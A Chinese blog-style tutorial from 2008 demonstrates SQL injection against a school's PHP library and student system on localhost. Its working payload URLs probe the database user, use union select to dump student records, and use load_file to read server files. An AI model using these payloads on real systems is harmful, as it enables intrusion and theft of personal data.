下一篇 » « 上一篇

简单PHP注入演示

作者:    时间:2008-01-22    来源:    点击:31955    本文共1篇文章 字体:[ ]

简单PHP注入演示

学校的一个外聘老师写的程序,图书+学生管理系统,文件名001.php,002.php,003.php......(B名起的)问题出在004.php第多少行我也忘了,
<td width="118" rowspan="4" align="center" valign="middle"><a href="004.php?ts_id=<?php echo $array[ts_id];?>"><img src="./images/<?php echo $array['ts_tp'];?>" width="136" height="181"></a></td><td width="85">书名:</td>

注意这句<a href="004.php?ts_id=<?php echo $array[ts_id];?>">,ts_id没有任何过滤,赤裸裸的等我们虐待,HOO~(虽然我知道数据库的一切信息,但是这里我还是要黑箱测试)

LET'S GO~
http://localhost/zhd/004.php?ts_id=1 and 1=1 正常
http://localhost/zhd/004.php?ts_id=1 and 1=2 异常
白痴注入

判断数据库:
提交http://localhost/zhd/004.php?ts_id=1/*fenggou
正常返回,说明数据库支持/*注释,什么数据库支持/*呢?MYSQL!

读取用户名: 本文来自 www.444p.com
提交http://localhost/zhd/004.php?ts_id=1 and ord(mid(user(),1,1))=114/*
正常返回,user()是MYSQL的内置函数,用来查看用户,这里是查看个用户名的第一个字符,没错114是ACCSLL中的"r",我是root连接,所以语句为真(这招贱心教我滴)但是如果用户名是rijnc的话我不是被骗了?所以在提交
http://localhost/zhd/004.php?ts_id=1 and ord(mid(user(),1,1))=111/* o
http://localhost/zhd/004.php?ts_id=1 and ord(mid(user(),1,1))=111/* o
http://localhost/zhd/004.php?ts_id=1 and ord(mid(user(),1,1))=116/* t
但是如果密码是rootrijnc,那我无语…

判断字段数:
提交http://localhost/zhd/004.php?ts_id=1 order by 10/*
失败,说明字段数小于10,一直试到7语句成立,一共是7个字段了,对我们以后的联合查询带来极大方便,有个小技巧,先5,在10,在15,依次一点点缩小范围

联合查询:
知道了字段数直接提交http://localhost/zhd/004.php?ts_id=1 union select 1,2,3,4,5,6,7/*
本文来自 www.444p.com

正常返回,说明支持union,把语句改改,用and 1=2让他显示错误,嘿嘿~~~

提交http://localhost/zhd/004.php?ts_id=1 and 1=2 union select 1,2,3,4,5,6,7/*
成功了!

提交http://localhost/zhd/004.php?ts_id=1%20and%201=2%20union%20select%201,database(),3,4,5,6,7/*
在第二个字段书名也就是"2"的地方显示db1,没错,这个程序数据库名就是db1

我所知道有用的MYSQL函数sexxion_user()、current_user(),user(),system_user(),database(),version(),load_file()这个要root的,不过很好用,可以读任意文件并显示。
我是root连接,可以直接这样,但是值得注意的是magic_quotes_gpc = off的时候load_file('c:\boot.ini')才成立,on的时候用16进制来提交
http://localhost/zhd/004.php?ts_id=-1%20union%20select%201,2,3,4,load_file(0x633a2f626f6f742e696e69),6,7/

暴露了服务器的信息,还可以读别的,发挥自己的想象力吧,我要保护我的脑细胞... www.444p.com版权所有

获得表名:
http://localhost/zhd/004.php?ts_id=1%20and%201=2%20union%20select%201,2,3,4,5,6,7 from books/*
http://localhost/zhd/004.php?ts_id=1%20and%201=2%20union%20select%201,2,3,4,5,6,7 from student/*

正常返回,说明存在books和student这两个表(???木有admin啊!!!)MYSQL注入就是这样表名要猜,不想MSSQL能暴,麻痹的!还有还有,不要以为联合查询只能用自带函数,它是可以直接读出字段内容的,比如这个表:

http://localhost/zhd/004.php?ts_id=1%20and%201=2%20union%20select%201,2,3,4,5,6,7 from student/*

2 3 5 7的位置可以用来读,(为什么?地方大呗,要是char(2)你能显示什么??)

http://localhost/zhd/004.php?ts_id=1%20and%201=2%20union%20select%201,sno,sname,4,sex,6,7 from student/*


全看到了,虽然不是密码,呵呵,但原理是一样的(前提是要知道字段名称的,哎,麻烦,在BS下) www.444p.com

还可以这样
http://localhost/zhd/004.php?ts_id=1%20and%201=2%20union%20select%201,2,sname,4,sex,6,7 from student where sno=2/*

和MSSQL注入差不多的,OVER。
责任编辑:semirock

最新评论(共有 1 条评论)更多评论...

  • 游客: 爱妃的评论 (2017-03-10 16:12 pm)
    发法术萨法萨芬撒飞洒发
发表评论
密码: (游客不需要密码)
记住我【Alt+S 或 Ctrl+Enter 快速提交】

搜索工具


《PHP教程》点击排行